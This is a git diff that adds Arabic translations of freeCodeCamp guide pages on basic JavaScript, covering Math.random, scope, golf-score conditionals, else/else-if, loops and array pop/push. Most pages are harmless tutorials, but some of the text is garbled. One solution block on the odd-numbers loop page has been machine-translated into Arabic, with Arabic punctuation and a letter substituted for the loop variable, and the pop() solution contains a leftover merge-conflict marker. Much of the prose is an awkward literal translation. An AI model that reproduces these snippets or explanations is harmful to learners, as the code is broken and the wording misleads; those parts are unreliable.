+يحتوي JavaScript على دالة `Math.random()` التي تنشئ رقمًا عشريًا عشوائيًا بين 0 (شامل) وليس تمامًا 1 (خاص). وبالتالي يمكن `Math.random()` بإرجاع 0 ولكن أبداً إرجاع 1.
+
+## ملحوظة
+
+مثل تخزين القيم مع عامل التشغيل المتساوي ، سيتم حل جميع استدعاءات الدوال قبل تنفيذ عملية الإرجاع ، حتى نتمكن من إرجاع قيمة الدالة `Math.random()` .
+
+## تعليمات
+
+قم بتغيير randomFraction لإرجاع رقم عشوائي بدلاً من إرجاع 0.
+
+## **تحذير !!!**
+
+### **تنبيه المفسد!**
+
+حل يجب اتباعه:
+
+ `function randomFraction() { 
+  // Only change code below this line. 
+  var result = 0; 
+  // Math.random() can generate 0. We don't want to     return a 0, 
+  // so keep generating random numbers until we get one     that isn't 0 
+  while (result === 0) { 
+    result = Math.random(); 
+  } 
+ 
+  return result; 
+  // Only change code above this line. 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..3cc6aa9b2d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate Random Whole Numbers with JavaScript
+localeTitle: توليد أرقام كاملة عشوائية مع جافا سكريبت
+---
+## توليد أرقام كاملة عشوائية مع جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md
new file mode 100644
index 0000000000..a4ba26958f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate Random Whole Numbers within a Range
+localeTitle: توليد أرقام كاملة عشوائية داخل نطاق
+---
+## توليد أرقام كاملة عشوائية داخل نطاق
+
+**مساعدة لاجتياز الاختبار النهائي:** _`randomRange` يجب استخدام كل `myMax` و `myMin` ، وإرجاع رقم عشوائي في النطاق الخاص بك._
+
+لا يمكنك اجتياز الاختبار النهائي إذا كنت تقوم فقط بإعادة استخدام الدالة `ourRandomRange` داخل صيغة `randomRange` الخاصة بك. تحتاج إلى كتابة الصيغة الخاصة بك التي تستخدم المتغيرات `myMax` و `myMin` . سوف يقوم بالمهمة نفسها مثل استخدام `ourRandomRange` ، ولكن يضمن أنك قد فهمت مبادئ `Math.floor()` و `Math.random()` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md
new file mode 100644
index 0000000000..02526e6e7e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md
@@ -0,0 +1,58 @@
+---
+title: Global Scope and Functions
+localeTitle: النطاق العالمي والوظائف
+---
+## النطاق العالمي والوظائف
+
+نطاق المتغير هو ظهوره. حيث في الرمز هي الوظيفة المتاحة؟ فيما يلي قائمة بالنطاقات المختلفة التي يمكن أن يحصل عليها المتغير.
+
+*   **النطاق العالمي** : المتغير متاح في جميع أنحاء الكود
+*   **النطاق المحلي** : متوفر في منطقة معينة فقط (على سبيل المثال فقط داخل الوظيفة)
+*   **نطاق الحظر** : متاح داخل منطقة _أكثر_ تحديدًا (مثل if-statement)
+
+مهمتك هي فهم كيفية إضافة `var` (وليس إضافة) قبل اسم المتغير ، يمكن تغيير نطاق المتغير.
+
+عند إضافة `var` قبل اسم المتغير ، يتم تحديد نطاقه حسب مكان وضعه. مثل ذلك:
+
+ `var num1 = 18; // Global scope 
+ function fun() { 
+  var num2 = 20; // Local (Function) Scope 
+  if (true) { 
+    var num3 = 22; // Block Scope (within an if-statement) 
+  } 
+ } 
+` 
+
+عندما لا تفعل ، هذه هي النتيجة:
+
+ `num1 = 18; // Global scope 
+ function fun() { 
+  num2 = 20; // Global Scope 
+  if (true) { 
+    num3 = 22; // Global Scope 
+  } 
+ } 
+` 
+
+حسنًا ، إليك حل الشفرة الأساسية.
+
+ `// Declare your variable here 
+ var myGlobal = 10; 
+ 
+ function fun1() { 
+  oopsGlobal = 5; 
+ 
+ } 
+ 
+ // Only change code above this line 
+ function fun2() { 
+  var output = ""; 
+  if (typeof myGlobal != "undefined") { 
+    output += "myGlobal: " + myGlobal; 
+  } 
+  if (typeof oopsGlobal != "undefined") { 
+    output += " oopsGlobal: " + oopsGlobal; 
+  } 
+  console.log(output); 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md
new file mode 100644
index 0000000000..0e336d4dec
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md
@@ -0,0 +1,21 @@
+---
+title: Global vs. Local Scope in Functions
+localeTitle: نطاق عالمي مقابل نطاق محلي في الوظائف
+---
+## نطاق عالمي مقابل نطاق محلي في الوظائف
+
+تذكر أن النطاق العالمي يعني أن المتغير متاح طوال الشفرة بأكملها. النطاق المحلي ، يعني أن المتغير متاح ضمن نطاق معين.
+
+في هذا التمرين ، يكون لديك متغير `outerWear` في النطاق العالمي باستخدام "T-shirt" باعتباره قيمته. يجب عليك الآن إنشاء متغير آخر يسمى `outerWear` ، ولكن هذه المرة داخل الدالة `myOutfit()` . الحل الأساسي رمز كما يلي:
+
+ `var outerWear = "T-shirt"; 
+ 
+ function myOutfit() { 
+  var outerWear = "sweater"; 
+  return outerWear; 
+ } 
+ 
+ myOutfit(); 
+` 
+
+ستقوم الدالة بإرجاع أقرب `outerWear` يمكن العثور عليه. منذ أن أنشأنا `outerWear` داخل الدالة ، وهذا هو "الأقرب" ، وبالتالي فإن الدالة ستعود "سترة".
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md
new file mode 100644
index 0000000000..1ebda7fafb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md
@@ -0,0 +1,124 @@
+---
+title: Golf Code
+localeTitle: كود الجولف
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+في لعبة الجولف كل حفرة لها قيمة **اسمية** تعني متوسط ​​عدد **ضربات** لاعب الجولف من المتوقع أن تغرق الكرة في حفرة لاستكمال اللعب. اعتمادا على مدى أعلى أو أقل من **السعر الأصلي** **السكتات الدماغية** الخاصة بك، وهناك لقب آخر.
+
+سيتم تمرير الدالة **قدم المساواة** **والسكتات الدماغية** الحجج. يجب عليك إرجاع السلسلة الصحيحة وفقًا لهذا الجدول الذي يسرد الحدود بترتيب الأولوية؛ أعلى (أعلى) إلى أسفل (أدنى):
+
+السكتات الدماغية إرجاع  
+: --------- | : -------------  
+1 | "حفرة واحدة!"  
+<= par - 2 | "نسر"  
+par - 1 | "بيردي"  
+par | "الاسمية"  
+par + 1 | "شبح"  
+par + 2 | "بوجيه مزدوج" > = par + 3 | "اذهب للمنزل!"
+
+سوف يكون **الاسمية** **والسكتات الدماغية** دومًا رقمية وإيجابية.
+
+*   تغيير الرمز أدناه `// Only change code below this line` وما فوق `// Only change code above this line` .
+*   تأكد من أنك تقوم بتحرير داخل وظيفة `golfScore` .
+*   سيكون عليك جعل الدالة تقوم بإرجاع نفس السلسلة بالضبط كما هو موضح في الجدول ، بناءً على قيمة المعلمات **par** **والحدود** التي يتم تمريرها إلى وظيفتك.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+`+number -number` يمكن استخدامه لزيادة أو تقليل معلمة في حالتك.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+يمكنك استخدام `if / else if` سلاسل لإرجاع قيم مختلفة في سيناريوهات مختلفة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+تحكم في تدفق الدالة بناءً على ترتيب الجداول للأولوية - أعلى (أعلى) إلى أسفل (أدنى) لإرجاع قيم السلسلة المطابقة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function golfScore(par, strokes) { 
+  // Only change code below this line 
+  if (strokes == 1){ 
+    return "Hole-in-one!"; 
+  } else if (strokes <= par -2){ 
+    return "Eagle"; 
+  } else if (strokes == par -1) { 
+    return "Birdie"; 
+  } else if (strokes == par) { 
+    return "Par"; 
+  } else if (strokes == par +1) { 
+    return "Bogey"; 
+  } else if (strokes == par +2) { 
+    return "Double Bogey"; 
+  } else { 
+    return "Go Home!"; 
+  } 
+  // Only change code above this line 
+ } 
+ // Change these values to test 
+ golfScore(5, 4); 
+` 
+
+### شرح الشفرة:
+
+*   مقارنة **قدم المساواة** المعلمات **والسكتات الدماغية** لإرجاع القيم السلسلة المناسبة.
+*   `if / else if` تم استخدام سلسلة للتحكم في التدفق.
+*   السلسلة "Go Home!" يتم إرجاعها لكل حالة تكون فيها **الحدود** أكبر من أو تساوي **par + 3** .
+
+## حل رمز بديل:
+
+ `var names = ["Hole-in-one!", "Eagle", "Birdie", "Par", "Bogey", "Double Bogey", "Go Home!"]; 
+ function golfScore(par, strokes) { 
+  // Only change code below this line 
+  if (strokes == 1){ 
+    return names[0]; 
+  } 
+  else if (strokes <= par-2){ 
+    return names[1]; 
+  } 
+  else if (strokes == par -1){ 
+    return names[2]; 
+  } 
+  else if (strokes == par){ 
+    return names[3]; 
+  } 
+  else if (strokes == par +1){ 
+    return names[4]; 
+  } 
+  else if (strokes == par +2){ 
+    return names[5]; 
+  } 
+  else {return names[6];} 
+  // Only change code above this line 
+ } 
+ 
+ // Change these values to test 
+ golfScore(5, 4); 
+` 
+
+· تشغيل في [repl.it](https://repl.it/@AdrianSkar/Basic-JS-Golf-code)
+
+\## شرح الكود نظرًا لأن لدينا بالفعل صفيفًا محددًا في `names` المتغيرات ، فيمكننا الاستفادة منه واستخدامه في عبارات الإرجاع باستخدام الفهارس (على سبيل المثال: `names[0] is the first one` ). بهذه الطريقة ، إذا احتجت في أي وقت إلى تغيير نتيجة معينة فلن تحتاج إلى البحث عنها داخل الوظيفة ، فستكون في البداية ، في الصفيف الخاص بك.
+
+### مصادر
+
+*   [جولف](https://en.wikipedia.org/wiki/Golf)
+*   [التحدي: تسلسل إذا كانت البيانات الأخرى](http://www.freecodecamp.com/challenges/chaining-if-else-statements)
+*   [التحدي: مقارنة مع أكبر من المساواة إلى المشغل](http://www.freecodecamp.com/challenges/comparison-with-the-greater-than-equal-to-operator)
+*   [التحدي: مقارنة مع أقل من المساواة في المشغل](http://www.freecodecamp.com/challenges/comparison-with-the-less-than-equal-to-operator)
+*   ["Array" - _مرجع JavaScript الخاص بـ MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..44a0e64349
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Increment a Number with JavaScript
+localeTitle: زيادة رقم باستخدام JavaScript
+---
+## زيادة رقم باستخدام JavaScript
+
+يمكنك بسهولة زيادة (إضافة واحد) إلى متغير أرقام باستخدام عامل الزيادة "++". فمثلا:
+
+ `var a = 6; 
+ a++; // Now, 'a' is equal to 7 -- post-fixing 
+ ++a; // Now, 'a' is equal to 8 -- pre-fixing 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md
new file mode 100644
index 0000000000..f61297fc8c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Javascript
+localeTitle: جافا سكريبت الأساسي
+---
+## جافا سكريبت الأساسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md
new file mode 100644
index 0000000000..7afa2b5c2f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md
@@ -0,0 +1,10 @@
+---
+title: Initializing Variables with the Assignment Operator
+localeTitle: تهيئة المتغيرات مع مشغل الإحالة
+---
+## تهيئة المتغيرات مع مشغل الإحالة
+
+**لتهيئة** متغير هو إعطاءه قيمة أولية. يمكنك الإعلان وتهيئة متغير مثل:
+
+ `var num = 5; // This is equal to 5 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md
new file mode 100644
index 0000000000..7160cda9ff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md
@@ -0,0 +1,61 @@
+---
+title: Introducing Else If statements
+localeTitle: إدخال آخر إذا البيانات
+---
+## إدخال آخر إذا البيانات
+
+تذكر استخدام Read-Search-Ask إذا واجهتك مشكلة. حاول إقران البرنامج وكتابة التعليمات البرمجية الخاصة بك.
+
+\### شرح المشكلة:
+
+ `function testElseIf(val) { 
+  if (val > 10) { 
+    return "Greater than 10"; 
+  } 
+ 
+  if (val < 5) { 
+    return "Smaller than 5"; 
+  } 
+ 
+  return "Between 5 and 10"; 
+ } 
+ 
+ // Change this value to test 
+ testElseIf(7); 
+` 
+
+سنقوم بتعديل الشفرة الموجودة أعلاه بحيث تتبع تدفق المنطق الذي **يتضمنه** بيان آخر.
+
+\### تلميح: 1 `javascript if (val > 10) { return "Greater than 10"; }` كل ما `if` العبارات ومختلف المتغيرات تبدأ ببيان `if` .
+
+> _حاول أن تحل المشكلة الآن_
+
+\### تلميح: 2 `javascript else if (val < 5) { return "Smaller than 5"; }` التصريحات بين `if` البيان و `else` بيان في **آخر، إذا** تدفق هم في آخر اذا شكل
+
+> _حاول أن تحل المشكلة الآن_
+
+\### تلميح: 3 `javascript else { return "Between 5 and 10"; }` البيان الأخير في **آخر اذا** التدفق في `else` شكل ### تنبيه المفسد! ![المفسد](http://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif) الحل في المستقبل! ## حل الرمز الأساسي:
+
+ `function testElseIf(val) { 
+  if (val > 10) { 
+    return "Greater than 10"; 
+  } 
+ 
+  else if (val < 5) { 
+    return "Smaller than 5"; 
+  } 
+ 
+  else { 
+  return "Between 5 and 10"; 
+  } 
+ } 
+ 
+ // Change this value to test 
+ testElseIf(7); 
+` 
+
+: صاروخ: [تشغيل الكود](https://repl.it/@RyanPisuena/GoldenWorriedRuntime) ## شرح الكود بنية **آخر، إذا تدفق المنطق** هو أولي `if` البيان، أكثر واحد `if-else` التصريحات، ونهائي واحد `else` بيان.
+
+### مصادر
+
+*   ["if… else" - _MDN JavaScript reference_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md
new file mode 100644
index 0000000000..918d71db4d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md
@@ -0,0 +1,57 @@
+---
+title: Introducing Else statements
+localeTitle: إدخال بيانات أخرى
+---
+## إدخال بيانات أخرى
+
+### شرح المشكلة:
+
+· _ضم البيانات `if` في عبارة واحدة `if/else` ._
+
+#### تلميح 1
+
+عند إرجاع العبارة `if` الجملة `false` ، يتم تنفيذ / تقييم التعليمة البرمجية التالية (مثل `return` ، أو `if` `else` عبارات أخرى).
+
+> _حاول أن تحل المشكلة الآن_
+
+#### تلميح 2
+
+في بعض الأحيان ، `if` الممكن استبدال عبارات ( `condition` ) بـ `else {code to execute instead}` عبارات (في جوهرها ، فإنك تخبر وظيفتك أن تفعل _"y"_ إذا لم تستطع _"x"_ بدلاً من تحديد _"x"_ عدة مرات).
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `function testElse(val) { 
+  var result = ""; 
+  // Only change code below this line 
+ 
+  if (val > 5) { 
+    result = "Bigger than 5"; 
+  } 
+ 
+  else { 
+    result = "5 or smaller"; 
+  } 
+ 
+  // Only change code above this line 
+  return result; 
+ } 
+ 
+ // Change this value to test 
+ testElse(4); 
+` 
+
+[تشغيل الكود في repl.it](https://repl.it/@AdrianSkar/Introducing-else-statements)
+
+### تفسير الشفرة
+
+تقوم الدالة أولاً بتقييم `if` تقييم الحالة `val > 5` إلى `true` . إذا لم يحدث ذلك ، فإنه ينفذ العبارة التالية ( `else { return "5 or smaller";})` .
+
+### مصادر
+
+*   ["if… else" - _MDN JavaScript reference_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md
new file mode 100644
index 0000000000..d6af64dab1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md
@@ -0,0 +1,37 @@
+---
+title: Iterate Odd Numbers With a For Loop
+localeTitle: تكرار الأرقام الفردية مع ل حلقة
+---
+## تكرار الأرقام الفردية مع ل حلقة
+
+هنا هو المثال:
+
+ `var ourArray = []; 
+ 
+ for (var i = 0; i < 10; i += 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+` 
+
+وإليك الحل: بعد السلسلة `// Only change code below this line.` نضيف `for` حلقة. تحتاج إلى نسخ حلقة من الجزء العلوي:
+
+`javascript for (var i = 0; i < 10; i += 2) { ourArray.push(i); }` وتغيير `initialization` `var i = 0` إلى `var i = 1` ، كما تحتاج إلى تغيير اسم المصفوفة `ourArray` إلى `myArray` :
+
+`javascript for (var i = 1; i < 10; i += 2) { myArray.push(i); }`
+
+وإليك الحل الكامل:
+
+\`\` \`جافا سكريبت var ourArray = \[\]؛
+
+لـ (var i = 0؛ i <10؛ i + = 2) { ourArray.push (ط)؛ }
+
+// اقامة var myArray = \[\]؛
+
+// فقط تغيير رمز أدناه هذا الخط.
+
+لـ (var i = 1؛ i <10؛ i + = 2) { myArray.push (ط)؛ } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md
new file mode 100644
index 0000000000..b9a93b7cb7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterate Through an Array with a For Loop
+localeTitle: تكرار عبر صفيف مع ل حلقة
+---
+## تكرار عبر صفيف مع ل حلقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md
new file mode 100644
index 0000000000..dcc5635e0c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md
@@ -0,0 +1,18 @@
+---
+title: Iterate with JavaScript Do...While Loops
+localeTitle: تكرار مع JavaScript Do ... While Loops
+---
+## تكرار مع JavaScript Do… While Loops
+
+*   `Do...While` الحلقات بالتأكد من تنفيذ الشفرة مرة واحدة على الأقل ، وبعد التنفيذ ، إذا كان الشرط الموجود داخل `while()` **صحيحًا** ، فإنه يستمر بالحلقة ، وإلا فإنه يتوقف.
+
+## حل
+
+ `var myArray = []; 
+ var i = 10; 
+ 
+ do { 
+  myArray.push(i); 
+  i++; 
+ } while(i <= 10); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md
new file mode 100644
index 0000000000..c5f4ef73b4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterate with JavaScript For Loops
+localeTitle: تكرار مع JavaScript For Loops
+---
+## تكرار مع JavaScript For Loops
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md
new file mode 100644
index 0000000000..ac0ece8b42
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md
@@ -0,0 +1,36 @@
+---
+title: Iterate with JavaScript While Loops
+localeTitle: تكررت مع جافا سكريبت في حين الحلقات
+---
+## تكررت مع جافا سكريبت في حين الحلقات
+
+بينما سيتم تشغيل حلقات طالما أن الشرط الموجود داخل () صحيح. مثال:
+
+ `while(condition){ 
+ code... 
+ } 
+` 
+
+## تلميح 1:
+
+استخدم متغير مكرر مثل i في حالتك
+
+ `var i = 0; 
+ while(i <= 4){ 
+ } 
+` 
+
+## Spoiler Alert Solution إلى الأمام!
+
+## حل:
+
+ `// Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+ var i = 0; 
+ while (i <= 4){ 
+    myArray.push(i); 
+    i++; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md
new file mode 100644
index 0000000000..d9164b4f5b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md
@@ -0,0 +1,18 @@
+---
+title: Local Scope and Functions
+localeTitle: النطاق المحلي والوظائف
+---
+## النطاق المحلي والوظائف
+
+النطاق المحلي يعني أن المتغير متاح داخل منطقة معينة. في حالة هذا التمرين ، لا يتوفر `myVar` إلا داخل الوظيفة ، وليس في أي مكان بالخارج.
+
+فيما يلي الحل الأساسي للتعليمات البرمجية لإنشاء متغير `myVar` محلي.
+
+ `function myLocalScope() { 
+  var myVar; 
+  console.log(myVar); 
+ } 
+ myLocalScope(); 
+` 
+
+المتغير موجود فقط في الوظيفة. خارج الوظيفة ، هو غير موجود.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md
new file mode 100644
index 0000000000..a082285b81
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md
@@ -0,0 +1,9 @@
+---
+title: Logical Order in If Else Statements
+localeTitle: ترتيب منطقي في حال وجود بيانات أخرى
+---
+## ترتيب منطقي في حال وجود بيانات أخرى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md
new file mode 100644
index 0000000000..78f0658b33
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md
@@ -0,0 +1,24 @@
+---
+title: Manipulate Arrays With pop()
+localeTitle: التعامل مع صفائف مع البوب ​​()
+---
+## التعامل مع صفائف مع البوب ​​()
+
+## شرح المشكلة
+
+تخلص من العنصر الأخير في المصفوفة. ثم ، قم بتعيين هذا العنصر `removedFromMyArray` إلى `removedFromMyArray` .
+
+## تلميح 1:
+
+استدعاء `.pop()` على الصفيف ، وتعيينه إلى `removedFromMyArray` .
+
+## المفسد! حل الرمز:
+
+ `var removedFromMyArray = myArray.pop(); 
+ ======= 
+ Remove the last element of an array with the pop() method, like so: 
+` 
+
+جافا سكريبت var arr = \[1، 2، 3، 4، 5\]؛ arr.pop ()؛ // هذا تخلص من 5
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md
new file mode 100644
index 0000000000..81e711ea1e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md
@@ -0,0 +1,11 @@
+---
+title: Manipulate Arrays With push()
+localeTitle: التعامل مع صفائف بدفع ()
+---
+## التعامل مع صفائف بدفع ()
+
